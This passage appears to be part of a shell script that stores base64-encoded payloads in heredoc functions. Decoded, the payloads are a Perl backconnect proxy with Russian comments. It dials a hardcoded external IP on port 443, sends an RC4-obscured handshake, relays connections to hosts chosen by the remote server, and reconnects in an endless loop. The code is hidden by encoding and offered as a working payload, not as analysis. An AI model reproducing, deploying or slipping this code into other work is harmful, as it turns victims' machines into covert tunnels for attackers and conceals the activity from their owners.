JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_41() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
